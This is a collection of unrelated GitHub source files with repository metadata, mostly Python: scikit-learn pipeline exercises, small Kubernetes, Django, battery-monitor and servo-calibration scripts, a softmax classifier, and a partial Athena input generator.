tuning its parameters, to evaluating its performance on new data. Imputation can be seen as the first step of this machine learning process, the entirety of which can be viewed within the context of a pipeline. Scikit-learn provides a pipeline constructor that allows you to piece together these steps into one process and thereby simplify your workflow.\n\n# You'll now practice setting up a pipeline with two steps: the imputation step, followed by the instantiation of a classifier. You've seen three classifiers in this course so far: k-NN, logistic regression, and the decision tree. You will now be introduced to a fourth one - the Support Vector Machine, or SVM. For now, do not worry about how it works under the hood. It works exactly as you would expect of the scikit-learn estimators that you have worked with previously, in that it has the same .fit() and .predict() methods as before.\n\n\n# Import the Imputer module\nfrom sklearn.preprocessing import Imputer\nfrom sklearn.svm import SVC\n\n# Setup the Imputation transformer: imp\nimp = Imputer(missing_values='NaN', strategy='most_frequent', axis=0)\n\n# Instantiate the SVC classifier: clf\nclf = SVC()\n\n# Setup the pipeline with the required steps: steps\nsteps = [('imputation', imp),\n ('SVM', clf)]\n\n\n\n\n# Imputing missing data in a ML Pipeline II\n# Having setup the steps of the pipeline in the previous exercise, you will now use it on the voting dataset to classify a Congressman's party affiliation. What makes pipelines so incredibly useful is the simple interface that they provide. You can use the .fit() and .predict() methods on pipelines just as you did with your classifiers and regressors!\n\n# Practice this for yourself now and generate a classification report of your predictions. The steps of the pipeline have been set up for you, and the feature array X and target variable array y have been pre-loaded. Additionally, train_test_split and classification_report have been imported from sklearn.model_selection and sklearn.metrics respectively.\n\n\n\n# Import necessary modules\nfrom sklearn.preprocessing import Imputer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.svm import SVC\n\n# Setup the pipeline steps: steps\nsteps = [('imputation', Imputer(missing_values='NaN', strategy='most_frequent', axis=0)),\n ('SVM', SVC())]\n\n# Create the pipeline: pipeline\npipeline = Pipeline(steps)\n\n# Create training and test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size =0.3, random_state = 42)\n\n# Fit the pipeline to the train set\npipeline.fit(X_train, y_train)\n\n# Predict the labels of the test set\ny_pred = pipeline.predict(X_test)\n\n# Compute metrics\nprint(classification_report(y_test, y_pred))\n\n\n\n# Centering and scaling your data\n# In the video, Hugo demonstrated how significantly the performance of a model can improve if the features are scaled. Note that this is not always the case: In the Congressional voting records dataset, for example, all of the features are binary. In such a situation, scaling will have minimal impact.\n\n# You will now explore scaling for yourself on a new dataset - White Wine Quality! Hugo used the Red Wine Quality dataset in the video. We have used the 'quality' feature of the wine to create a binary target variable: If 'quality' is less than 5, the target variable is 1, and otherwise, it is 0.\n\n# The DataFrame has been pre-loaded as df, along with the feature and target variable arrays X and y. Explore it in the IPython Shell. Notice how some features seem to have different units of measurement. 'density', for instance, takes values between 0.98 and 1.04, while 'total sulfur dioxide' ranges from 9 to 440. As a result, it may be worth scaling the features here. Your job in this exercise is to scale the features and compute the mean and standard deviation of the unscaled features compared to the scaled features.\n\n\n# Import scale\nfrom sklearn.preprocessing import scale\n\n# Scale the features: X_scaled\nX_scaled = scale(X)\n\n# Print the mean and standard deviation of the unscaled features\nprint(\"Mean of Unscaled Features: {}\".format(np.mean(X))) \nprint(\"Standard Deviation of Unscaled Features: {}\".format(np.std(X)))\n\n# Print the mean and standard deviation of the scaled features\nprint(\"Mean of Scaled Features: {}\".format(np.mean(X_scaled))) \nprint(\"Standard Deviation of Scaled Features: {}\".format(np.std(X_scaled)))\n\n\n\n# Centering and scaling in a pipeline\n# With regard to whether or not scaling is effective, the proof is in the pudding! See for yourself whether or not scaling the features of the White Wine Quality dataset has any impact on its performance. You will use a k-NN classifier as part of a pipeline that includes scaling, and for the purposes of comparison, a k-NN classifier trained on the unscaled data has been provided.\n\n# The feature array and target variable array have been pre-loaded as X and y. Additionally, KNeighborsClassifier and train_test_split have been imported from sklearn.neighbors and sklearn.model_selection, respectively.\n\n\n# Import the necessary modules\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\n\n# Setup the pipeline steps: steps\nsteps = [('scaler', StandardScaler()),\n ('knn', KNeighborsClassifier())]\n \n# Create the pipeline: pipeline\npipeline = Pipeline(steps)\n\n# Create train and test sets\nX_train, X_test, y_train, y_test = train_test_split(X,y,test_size =0.3, random_state =42)\n\n# Fit the pipeline to the training set: knn_scaled\nknn_scaled = pipeline.fit(X_train, y_train)\n\n# Instantiate and fit a k-NN classifier to the unscaled data\nknn_unscaled = KNeighborsClassifier().fit(X_train, y_train)\n\n# Compute and print metrics\nprint('Accuracy with Scaling: {}'.format(knn_scaled.score(X_test, y_test)))\nprint('Accuracy without Scaling: {}'.format(knn_unscaled.score(X_test, y_test)))\n\n\n\n\n# Bringing it all together I: Pipeline for classification\n# It is time now to piece together everything you have learned so far into a pipeline for classification! Your job in this exercise is to build a pipeline that includes scaling and hyperparameter tuning to classify wine quality.\n\n# You'll return to using the SVM classifier you were briefly introduced to earlier in this chapter. The hyperparameters you will tune are C and gamma. C controls the regularization strength. It is analogous to the C you tuned for logistic regression in Chapter 3, while gamma controls the kernel coefficient: Do not worry about this now as it is beyond the scope of this course.\n\n# The following modules and functions have been pre-loaded: Pipeline, SVC, train_test_split, GridSearchCV, classification_report, accuracy_score. The feature and target variable arrays X and y have also been pre-loaded.\n\n\n\n# Setup the pipeline\nsteps = [('scaler', StandardScaler()),\n ('SVM', SVC())]\n\npipeline = Pipeline(steps)\n\n# Specify the hyperparameter space\nparameters = {'SVM__C':[1, 10, 100],\n 'SVM__gamma':[0.1, 0.01]}\n\n# Create train and test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size =0.2, random_state = 21)\n\n# Instantiate the GridSearchCV object: cv\ncv = GridSearchCV(pipeline, param_grid=parameters, cv=3)\n\n# Fit to the training set\ncv.fit(X_train, y_train)\n\n# Predict the labels of the test set: y_pred\ny_pred = cv.predict(X_test)\n\n# Compute and print metrics\nprint(\"Accuracy: {}\".format(cv.score(X_test, y_test)))\nprint(classification_report(y_test, y_pred))\nprint(\"Tuned Model Parameters: {}\".format(cv.best_params_))\n\n\n\n\n# Bringing it all together II: Pipeline for regression\n# For this final exercise, you will return to the Gapminder dataset. Guess what? Even this dataset has missing values that we dealt with for you in earlier chapters! Now, you have all the tools to take care of them yourself!\n\n# Your job is to build a pipeline that imputes the missing data, scales the features, and fits an ElasticNet to the Gapminder data. You will then tune the l1_ratio of your ElasticNet using GridSearchCV.\n\n# All the necessary modules have been imported, and the feature and target variable arrays have been pre-loaded as X and y.\n\n\n# Setup the pipeline steps: steps\nsteps = [('imputation', Imputer(missing_values='NaN', strategy='mean', axis=0)),\n ('scaler', StandardScaler()),\n ('elasticnet', ElasticNet())]\n\n# Create the pipeline: pipeline \npipeline = Pipeline(steps)\n\n# Specify the hyperparameter space\nparameters = {'elasticnet__l1_ratio':np.linspace(0,1,30)}\n\n# Create train and test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=42)\n\n# Create the GridSearchCV object: gm_cv\ngm_cv = GridSearchCV(pipeline,param_grid=parameters,cv=3)\n\n# Fit to the training set\ngm_cv.fit(X_train, y_train)\n\n# Compute and print the metrics\nr2 = gm_cv.score(X_test, y_test)\nprint(\"Tuned ElasticNet Alpha: {}\".format(gm_cv.best_params_))\nprint(\"Tuned ElasticNet R squared: {}\".format(r2))\n\n\n\n\n", "repo_name": "shreejitverma/Data-Scientist", "sub_path": "Supervised Learning with Scikit Learn/Preprocessing_and_pipelines.py", "file_name": "Preprocessing_and_pipelines.py", "file_ext": "py", "file_size_in_byte": 12597, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.linear_model.Ridge", "line_number": 47, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 93, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 96, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 118, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 119, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 122, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.scale", "line_number": 150, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 173, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 177, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 205, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 206, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 208, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Imputer", "line_number": 243, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 244, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 248, "usage_type": "call"}]} +{"seq_id": "131174686", "text": "from kubernetes import client, config\n\nconfig.load_kube_config()\n\n\ndef delete_pod(name, namespace):\n core_v1 = client.CoreV1Api()\n # delete_options = client.V1DeleteOptions() 있는 것과 없는 것의 변화 x\n # print(\"delete option :\", delete_options)\n api_response = core_v1.delete_namespaced_pod(\n name=name,\n namespace=namespace)\n # print(api_response)\n\n\nif __name__ == '__main__':\n delete_pod(name='busybox-test', namespace='default')\n", "repo_name": "cccr4/Project_OCI", "sub_path": "python 파일/pod_delete.py", "file_name": "pod_delete.py", "file_ext": "py", "file_size_in_byte": 475, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "kubernetes.config.load_kube_config", "line_number": 3, "usage_type": "call"}, {"api_name": "kubernetes.config", "line_number": 3, "usage_type": "name"}, {"api_name": "kubernetes.client.CoreV1Api", "line_number": 7, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 7, "usage_type": "name"}]} +{"seq_id": "4510489234", "text": "#!/usr/bin/env python3\nimport os\nimport time\nimport sys\nfrom datetime import datetime\n\ndef average(avg, sample):\n # Weighted avg between existing value and new sample\n return ((avg[0] * avg[1] + sample) / (avg[1] + 1), avg[1] + 1)\n\n\nif __name__ == '__main__':\n start_time = datetime.now()\n try:\n if len(sys.argv) > 1 and sys.argv[1] == \"--charge\":\n print(\"not disabling charging\")\n else:\n print(\"disabling charging\")\n os.system('echo \"0\" > /sys/class/power_supply/battery/charging_enabled')\n\n voltage_average = (0., 0) # average, count\n current_average = (0., 0)\n power_average = (0., 0)\n capacity_average = (0., 0)\n bat_temp_average = (0., 0)\n while 1:\n with open(\"/sys/class/power_supply/bms/voltage_now\") as f:\n voltage = int(f.read()) / 1e6 # volts\n\n with open(\"/sys/class/power_supply/bms/current_now\") as f:\n current = int(f.read()) / 1e3 # ma\n\n power = voltage * current\n\n with open(\"/sys/class/power_supply/bms/capacity_raw\") as f:\n capacity = int(f.read()) / 1e2 # percent\n\n with open(\"/sys/class/power_supply/bms/temp\") as f:\n bat_temp = int(f.read()) / 1e1 # celsius\n\n # compute averages\n voltage_average = average(voltage_average, voltage)\n current_average = average(current_average, current)\n power_average = average(power_average, power)\n capacity_average = average(capacity_average, capacity)\n bat_temp_average = average(bat_temp_average, bat_temp)\n\n print(f\"{voltage:.2f} volts {current:12.2f} ma {power:12.2f} mW {capacity:8.2f}% battery {bat_temp:8.1f} degC\")\n time.sleep(0.1)\n finally:\n stop_time = datetime.now()\n print(\"\\n----------------------Average-----------------------------------\")\n voltage = voltage_average[0]\n current = current_average[0]\n power = power_average[0]\n capacity = capacity_average[0]\n bat_temp = bat_temp_average[0]\n print(f\"{voltage:.2f} volts {current:12.2f} ma {power:12.2f} mW {capacity:8.2f}% battery {bat_temp:8.1f} degC\")\n print(f\" {(stop_time - start_time).total_seconds():.2f} Seconds {voltage_average[1]} samples\")\n print(\"----------------------------------------------------------------\")\n\n # re-enable charging\n os.system('echo \"1\" > /sys/class/power_supply/battery/charging_enabled')\n print(\"charging enabled\\n\")\n", "repo_name": "sunnyhaibin/sunnypilot", "sub_path": "selfdrive/debug/internal/power_monitor.py", "file_name": "power_monitor.py", "file_ext": "py", "file_size_in_byte": 2358, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 480, "dataset": "github-code", "pt": "85", "api": [{"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 19, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "name"}, {"api_name": "os.system", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "21134802380", "text": "def list_search(schedule):\r\n for i in range(len(values['values'])):\r\n for j in range(len(schedule)):\r\n if values['values'][i]['id'] == schedule[j]['id']:\r\n schedule[j]['value'] = values['values'][i]['value']\r\n if 'values' in schedule[j] and isinstance(schedule[j]['values'], list) == True:\r\n list_search(schedule[j]['values'])\r\nimport json\r\nwith open('tests.json', 'r') as f:\r\n tests = json.load(f)\r\nwith open('values.json', 'r') as f:\r\n values = json.load(f)\r\nlist_search(tests['tests'])\r\nwith open('report.json', 'w') as f:\r\n json.dump(tests, f, indent=2)\r\n", "repo_name": "YuriySterkhov/For-Performance-Lab", "sub_path": "task3/task3.py", "file_name": "task3.py", "file_ext": "py", "file_size_in_byte": 616, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "json.load", "line_number": 10, "usage_type": "call"}, {"api_name": "json.load", "line_number": 12, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "9482878988", "text": "from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\nfrom .viewsets import (\n CustomTextViewSet,\n DosagesViewSet,\n HomePageViewSet,\n IndicationsViewSet,\n MedicationsViewSet,\n ParametersViewSet,\n)\n\nfrom home.api.v1.viewsets import (\n SignupViewSet,\n LoginViewSet,\n HomePageViewSet,\n CustomTextViewSet,\n)\n\nrouter = DefaultRouter()\nrouter.register(\"signup\", SignupViewSet, basename=\"signup\")\nrouter.register(\"login\", LoginViewSet, basename=\"login\")\nrouter.register(\"customtext\", CustomTextViewSet)\nrouter.register(\"homepage\", HomePageViewSet)\nrouter.register(\"medications\", MedicationsViewSet)\nrouter.register(\"indications\", IndicationsViewSet)\nrouter.register(\"dosages\", DosagesViewSet)\nrouter.register(\"parameters\", ParametersViewSet)\n\nurlpatterns = [\n path(\"\", include(router.urls)),\n]\n", "repo_name": "crowdbotics-apps/calculator-23605", "sub_path": "backend/home/api/v1/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 853, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "rest_framework.routers.DefaultRouter", "line_number": 19, "usage_type": "call"}, {"api_name": "home.api.v1.viewsets.SignupViewSet", "line_number": 20, "usage_type": "argument"}, {"api_name": "home.api.v1.viewsets.LoginViewSet", "line_number": 21, "usage_type": "argument"}, {"api_name": "home.api.v1.viewsets.CustomTextViewSet", "line_number": 22, "usage_type": "argument"}, {"api_name": "home.api.v1.viewsets.HomePageViewSet", "line_number": 23, "usage_type": "argument"}, {"api_name": "viewsets.MedicationsViewSet", "line_number": 24, "usage_type": "argument"}, {"api_name": "viewsets.IndicationsViewSet", "line_number": 25, "usage_type": "argument"}, {"api_name": "viewsets.DosagesViewSet", "line_number": 26, "usage_type": "argument"}, {"api_name": "viewsets.ParametersViewSet", "line_number": 27, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "18416382439", "text": "import time\r\n\r\ndef method1():\r\n months = [31,28,31,30,31,30,31,31,30,31,30,31]\r\n wkd = [(1+366)%7,] #每月1日的星期数(对7取余)\r\n #1901.1.1的星期数\r\n \r\n for year in range(1901, 2001):\r\n if year % 4 == 0 and year % 100 != 0 or year % 400 == 0:\r\n months[1] = 29\r\n else:\r\n months[1] = 28 #判断闰年\r\n \r\n for i in range(len(months)):\r\n wkd.append((wkd[-1]+months[0])%7)\r\n\r\n return wkd.count(0)\r\n\r\ndef method2():\r\n from datetime import date\r\n from itertools import starmap,product\r\n\r\n count = 0\r\n for day in starmap(date, product(range(1901,2001),range(1,13),(1,))):\r\n if day.weekday() == 6: #weekday()返回的0-6是星期一到星期日\r\n count += 1\r\n return count\r\n\r\nt1 = time.time()\r\nprint(method1())\r\nt2 = time.time()\r\nprint(t2-t1)\r\nprint(method2())\r\nt3 = time.time()\r\nprint(t3-t2)\r\n", "repo_name": "ZTCooper/project-euler", "sub_path": "level1_(1-25)/19_Counting Sundays.py", "file_name": "19_Counting Sundays.py", "file_ext": "py", "file_size_in_byte": 957, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "itertools.starmap", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 24, "usage_type": "argument"}, {"api_name": "itertools.product", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 29, "usage_type": "call"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "70155103317", "text": "\"\"\"\r\nGoparapu Krishna Margali, kg4060\r\n\"\"\"\r\n\r\nimport os\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\nlamda = 0.5\r\nalpha = 0.4\r\nepoch = 100\r\nmini_batch_size = 50\r\n\r\n\r\ndef onehotencoding(Y):\r\n return pd.get_dummies(Y, columns=[4])\r\n\r\n\r\ndef softmax(f):\r\n exps = np.exp(f)\r\n return exps / np.sum(exps, axis=0)\r\n\r\n\r\ndef computeGrad(X, y, W, p):\r\n dw = (np.dot(X.T, (p - y)) / X.shape[0]) + (lamda * W)\r\n db = 1 / X.shape[0] * (np.sum(p - y))\r\n return dw, db\r\n\r\n\r\ndef Computeloss(p, weight, X, y):\r\n loss = -(np.sum(y * np.log(p))) / X.shape[0] + (np.sum(weight ** 2)) * lamda / 2\r\n return loss\r\n\r\n\r\ndef value_prediction(X, w, b, y_actual):\r\n prediction = np.argmax(softmax(np.matmul(X, w) + b), axis=1)\r\n num = np.sum(y_actual.flatten() == prediction)\r\n denom = len(prediction)\r\n accuracy = num / denom\r\n return prediction, accuracy\r\n\r\n\r\ndef check_accuracy(X, W, b, y_actual):\r\n accuracy = value_prediction(X, W, b, y_actual)[1]\r\n return accuracy\r\n\r\n\r\ndef plot_graph():\r\n plt.plot(losses, color='r', label='Train data_loss')\r\n plt.plot(losses_test, color='b', label='Test data_loss')\r\n plt.xlabel('Function epochs')\r\n plt.ylabel('Loss')\r\n plt.legend(loc=\"upper right\")\r\n plt.savefig()\r\n plt.show()\r\n\r\n\r\ndef create_mini_batch(X, Y, mini_batch_size):\r\n batch_data = []\r\n for i in range(X.shape[0] // mini_batch_size + 1):\r\n mini_batch_X = X[:, mini_batch_size * i:mini_batch_size * (i + 1)]\r\n mini_batch_Y = Y[:, mini_batch_size * i:mini_batch_size * (i + 1)]\r\n batch_data.append((mini_batch_X, mini_batch_Y))\r\n return batch_data\r\n\r\n\r\npath = os.getcwd() + '/iris_train.dat'\r\ndata = pd.read_csv(path, header=None)\r\n\r\npath = os.getcwd() + '/iris_test.dat'\r\ndata1 = pd.read_csv(path, header=None)\r\n\r\ncols1 = data1.shape[1]\r\nxtest = data1.iloc[:, 0:cols1 - 1]\r\nytest_in = data1.iloc[:, cols1 - 1:cols1]\r\nytest = onehotencoding(ytest_in)\r\n\r\npad_ones_test = []\r\nfor i in range(xtest.shape[0]):\r\n pad_ones_test.append(1)\r\nxtest[4] = pad_ones_test\r\nxtest = np.array(xtest.values)\r\nytest = np.array(ytest.values)\r\ny_actual_test = ytest_in.to_numpy()\r\nW = [[20, 0, 15], [20, 0, 15], [20, 0, 15], [20, 0, 15], [20, 0, 15]]\r\nb = [0.1, 0.1, 0.1]\r\nW = np.array(W)\r\n\r\ncols = data.shape[1]\r\nX = data.iloc[:, 0:cols - 1]\r\nY = data.iloc[:, cols - 1:cols]\r\ny = onehotencoding(Y)\r\npad_ones = []\r\nfor i in range(X.shape[0]):\r\n pad_ones.append(1)\r\nX[4] = pad_ones\r\ny_actual = Y.to_numpy()\r\nX = np.array(X.values)\r\ny = np.array(y.values)\r\nz = np.matmul(X, W) + b\r\np = softmax(z)\r\n\r\nlosses = []\r\nlosses_test = []\r\nfor i in range(epoch):\r\n mini = create_mini_batch(X, y, mini_batch_size)\r\n for single in mini:\r\n xb, yb = single\r\n z = np.matmul(xb, W) + b\r\n p = softmax(z)\r\n ztest = np.matmul(xtest, W) + b\r\n ptest = softmax(ztest)\r\n loss = Computeloss(p, W, xb, yb)\r\n loss_test = Computeloss(ptest, W, xtest, ytest)\r\n losses.append(loss)\r\n losses_test.append(loss_test)\r\n dw = computeGrad(xb, yb, W, p)[0]\r\n db = computeGrad(xb, yb, W, p)[1]\r\n W = W - (alpha * dw)\r\n b = b - (alpha * db)\r\n\r\ntrain_accuracy = check_accuracy(X, W, b, y_actual)\r\nprint(\"The accuracy of the train data : \", train_accuracy * 100, \"%\")\r\ntest_accuracy = check_accuracy(xtest, W, b, y_actual_test)\r\nprint(\"The accuracy of the test data: \", test_accuracy * 100, \"%\")\r\n\r\nplot_graph()\r\n", "repo_name": "KrishnaMargali99/Multiclass_Classification_MaximumEntropy", "sub_path": "q1c.py", "file_name": "q1c.py", "file_ext": "py", "file_size_in_byte": 3461, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pandas.get_dummies", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 68, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 69, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 112, "usage_type": "call"}]} +{"seq_id": "22972992355", "text": "import os\nimport json\nimport pigpio\n\nfrom globals import *\n\nCONTROL_PIN = 23\nMID_PULSE_WIDTH = 1500\nPULSE_STEP = 10\n\n\ndef main():\n\n os.system('clear')\n\n print('')\n print('/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\ ')\n print('| Servo motor calibration starting... |')\n print('\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/ ')\n print('')\n\n with open(SETUP_FILE, 'r') as json_file:\n setup_data = json.load(json_file)\n\n pwm = pigpio.pi()\n pwm.set_mode(CONTROL_PIN, pigpio.OUTPUT)\n pwm.set_PWM_frequency(CONTROL_PIN, SERVO_FREQUENCY)\n\n pulse_width = MID_PULSE_WIDTH\n is_calibration_done = False\n\n while not is_calibration_done:\n\n pwm.set_servo_pulsewidth(CONTROL_PIN, pulse_width)\n\n print('Seeking min pulse - Current: {}. Hit Enter as long as motor moves, else type OK: '.format(pulse_width), end = '', flush = True)\n user_input = input()\n if user_input == 'OK':\n is_calibration_done = True\n else:\n pulse_width -= PULSE_STEP\n\n setup_data['SERVO_MOTOR_MIN_PULSE'] = pulse_width + PULSE_STEP\n\n print('')\n\n pulse_width = MID_PULSE_WIDTH\n is_calibration_done = False\n\n while not is_calibration_done:\n\n pwm.set_servo_pulsewidth(CONTROL_PIN, pulse_width)\n\n print('Seeking max pulse - Current: {}. Hit Enter as long as motor moves, else type OK: '.format(pulse_width), end = '', flush = True)\n user_input = input()\n if user_input == 'OK':\n is_calibration_done = True\n else:\n pulse_width += PULSE_STEP\n\n setup_data['SERVO_MOTOR_MAX_PULSE'] = pulse_width - PULSE_STEP\n\n with open(SETUP_FILE, 'w') as json_file:\n json.dump(setup_data, json_file, indent=4)\n\n print('')\n print('/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\ ')\n print('| Servo motor calibration done! |')\n print('\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/ ')\n print('')\n\n\nif __name__ == '__main__':\n\n try:\n\n main()\n\n except KeyboardInterrupt:\n print('Keyboard interrupt...')\n\n except Exception as e:\n print('Error: ' + str(e))\n", "repo_name": "halstar/MySmartTankRobot", "sub_path": "calibrate_servo_motor.py", "file_name": "calibrate_servo_motor.py", "file_ext": "py", "file_size_in_byte": 2100, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.system", "line_number": 14, "usage_type": "call"}, {"api_name": "json.load", "line_number": 23, "usage_type": "call"}, {"api_name": "pigpio.pi", "line_number": 25, "usage_type": "call"}, {"api_name": "pigpio.OUTPUT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "19322982374", "text": "from ..athena.athena_read import athinput\nfrom numpy import logspace, log10, zeros, arccos, array, pi\nfrom netCDF4 import Dataset\nfrom .utils import get_rt_bands, get_ray_out\nimport re, subprocess\n\ndef create_input(tmpfile, args):\n with open(tmpfile, 'r') as file:\n tmpinp = file.read()\n\n if ':' in args['plevel']:\n pmax, pmin, np = tuple(map(float, args['plevel'].split(':')))\n np = int(np)\n plevel = logspace(log10(pmax), log10(pmin), np)\n plevel = ['%10.2f'%x for x in plevel]\n elif ',' in args['plevel']:\n plevel = args['plevel'].split(',')\n np = len(plevel)\n\n if args['tem'] == '0':\n Tp = ['0.']*np\n else:\n Tp = args['tem'].split(',')\n assert(len(Tp) == np)\n\n if args['nh3'] == '0':\n NH3p = ['0.']*np\n else:\n NH3p = args['nh3'].split(',')\n assert(len(NH3p) == np)\n\n # adjust minimum number of walkers\n #args['nwalker'] = str(max(int(args['nwalker']), 2*np))\n\n var = [x for x in args['var'].split()]\n\n name = tmpfile.split('/')[-1].split('.')[0]\n if args['output'] != '':\n name += '-' + args['output']\n\n inpfile = re.sub('\\[problem_id\\]', name, tmpinp)\n inpfile = re.sub('\\[logname\\]', name, inpfile)\n inpfile = re.sub('\\[obsname\\]', args['obs'], inpfile)\n inpfile = re.sub('\\[grav\\]', '-' + args['grav'], inpfile)\n inpfile = re.sub('\\[plevel\\]', ' '.join(plevel), inpfile)\n inpfile = re.sub('\\[variables\\]', ' '.join(var), inpfile)\n inpfile = re.sub('\\[Tp\\]', ' '.join(Tp), inpfile)\n inpfile = re.sub('\\[NH3p\\]', ' '.join(NH3p), inpfile)\n inpfile = re.sub('\\[Tstd\\]', args['sT'], inpfile)\n inpfile = re.sub('\\[Xstd\\]', args['sNH3'], inpfile)\n inpfile = re.sub('\\[Tlen\\]', args['zT'], inpfile)\n inpfile = re.sub('\\[Xlen\\]', args['zNH3'], inpfile)\n inpfile = re.sub('\\[lwalker\\]', str(int(args['nwalker'])//int(args['nodes'])), inpfile)\n if args['M']:\n inpfile = re.sub('\\[M\\]', 'true', inpfile)\n else:\n inpfile = re.sub('\\[M\\]', 'false', inpfile)\n if args['d']:\n 